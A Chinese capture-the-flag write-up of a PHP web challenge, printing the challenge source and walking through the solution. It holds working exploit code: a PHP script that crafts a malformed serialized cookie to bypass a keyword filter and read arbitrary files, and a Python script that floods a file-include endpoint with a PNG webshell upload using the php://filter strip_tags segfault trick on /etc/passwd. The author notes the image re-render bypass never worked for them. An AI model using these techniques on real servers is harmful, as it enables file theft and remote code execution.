搞了一天时间,环境是搞出来了,然而二次渲染是怎么都整不对,最后总是会把shell给弄乱码。。。索性不管了,来一波意识流wp
先上源码:
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php--><?php// index.phpini_set('display_errors', 'on');if(!isset($_COOKIE['ctfer'])){setcookie("ctfer",serialize("ctfer"),time()+3600);}else{include "function.php";echo "I see your Cookie<br>";$res = unserialize($_COOKIE['ctfer']);if(preg_match('/myclass/i',serialize($res))){throw new Exception("Error: Class 'myclass' not found ");}}highlight_file(__FILE__);echo "<br>";highlight_file("myclass.php");echo "<br>";highlight_file("function.php");<?php// myclass.phpclass Hello{public function __destruct(){ if($this->qwb) echo file_get_contents($this->qwb);}}?><?php// function.phpfunction __autoload($classname){require_once "/var/www/html/$classname.php";}?>
第一关,可以看到有个$res = unserialize($_COOKIE['ctfer']);再加上下面的Hello类和autoload,很明显是要利用反序列化漏洞。
先看看function.php的`autoload,用法基本上就是根据传进来的参数自动加载类,而myclass.php中有一个__destruct,再配合unserialize`,就可以读取到任意文件。
然而这道题也没那么简单,可以看到下面有个
if(preg_match('/myclass/i',serialize($res))){throw new Exception("Error: Class 'myclass' not found ");}
检测myclass关键字,如果有直接抛出异常。
这里用到一个小技巧,通过修改序列化字符串,使其反序列化失败,$res的值就是false,成功绕过。
读文件 exp.php
<?phpclass myclass{}class Hello{ public $qwb;}$a= new Hello();$a->qwb = "/var/www/html/e2a7106f1cc8bb1e1318df70aa0a3540.php";$b = new myclass();$c = urlencode(serialize([$b, $a]));$cookie = str_replace("a%3A2", "a%3A3", $c);$req = curl_init("http://eci-2ze1vm55dfrbg963rkw5.cloudeci1.ichunqiu.com:80/");curl_setopt($req, CURLOPT_RETURNTRANSFER, true);curl_setopt($req, CURLOPT_HTTPHEADER, array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Cache-Control: no-cache","Upgrade-Insecure-Requests: 1","User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0","Connection: close","Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",));curl_setopt($req, CURLOPT_COOKIE,"ctfer=".$cookie);$result = curl_exec($req);echo "Status code: ".curl_getinfo($req, CURLINFO_HTTP_CODE)."\n";echo "Response body: ".$result."\n";curl_close($req);
e2a7106f1cc8bb1e1318df70aa0a3540.php的内容:
<?phpinclude "bff139fa05ac583f685a523ab3d110a0.php";include "45b963397aa40d4a0063e0d85e4fe7a1.php";$file = isset($_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6'])?$_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6']:"404.html";$flag = preg_match("/tmp/i",$file);if($flag){PNG($file);}include($file);$res = @scandir($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']);if(isset($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076'])&&$_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']==='/tmp'){$somthing = GenFiles();$res = array_merge($res,$somthing);}shuffle($res);@print_r($res);?>
bff139fa05ac583f685a523ab3d110a0.php:
<?phpfunction PNG($file){if(!is_file($file)){die("我从来没有见过侬");}$first = imagecreatefrompng($file);if(!$first){die("发现了奇怪的东西2333");}$size = min(imagesx($first), imagesy($first));unlink($file);$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);if ($second !== FALSE) {imagepng($second, $file);imagedestroy($second);//销毁,清内存}imagedestroy($first);}?>
45b963397aa40d4a0063e0d85e4fe7a1.php:
<?phpfunction GenFiles(){$files = array();$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$len=strlen($str)-1;for($i=0;$i<10;$i++){$filename="php";for($j=0;$j<6;$j++){$filename .= $str[rand(0,$len)];}// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');$files[] = $filename;}return $files;}?>
先看第一部分:
$file = isset($_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6'])?$_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6']:"404.html";$flag = preg_match("/tmp/i",$file);if($flag){PNG($file);}include($file);
大致流程就是判断用户传入的字符串是否含有tmp,如果有则将文件调用PNG函数进行一次二次渲染然后include,没有tmp则直接进行包含
第二部分:
$res = @scandir($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']);if(isset($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076'])&&$_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']==='/tmp'){$somthing = GenFiles();$res = array_merge($res,$somthing);}shuffle($res);@print_r($res);
就是扫描用户指定目录,并且通过GenFiles()生成一些实际上不存在的文件名打印出来,迷惑选手。
既然有包含,那么问题就是怎么上传上去文件了,这里用到一个php7的特性:LFI via SegmentFault
在有文件包含漏洞的地方,使其包含php://filter/string.strip_tags/resource=/etc/passwd,会导致php SegmentFault,如果同时还有一个文件上传,这个文件会被保存至upload_tmp_dir,这个值一般为 /tmp。
有了上传文件,就可以包含了,不过还需要绕过二次渲染,利用PNG-IDAT-Payload-Generator生成一个图片即可。
# -*- coding: utf-8 -*-import requestsimport stringimport itertoolscharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'base_url = "http://localhost:8081"def upload_file_to_include(url, file_content):files = {'file': ('evil.jpg', file_content, 'image/jpeg')}try:response = requests.post(url, files=files)print(response)except Exception as e:print(e)def generate_tmp_files():with open('shell.png', 'rb') as fin:file_content = fin.read()phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url)length = 6times = int(len(charset) ** (length / 2))for i in range(times):print("[+] %d / %d" % (i, times))upload_file_to_include(phpinfo_url, file_content)def main():generate_tmp_files()if __name__ == "__main__":main()
上传成功后,通过第二部分的scandir可以得到/tmp目录下的所有文件,一个一个试就可以了。
最后就是找flag,参考网上的wp。
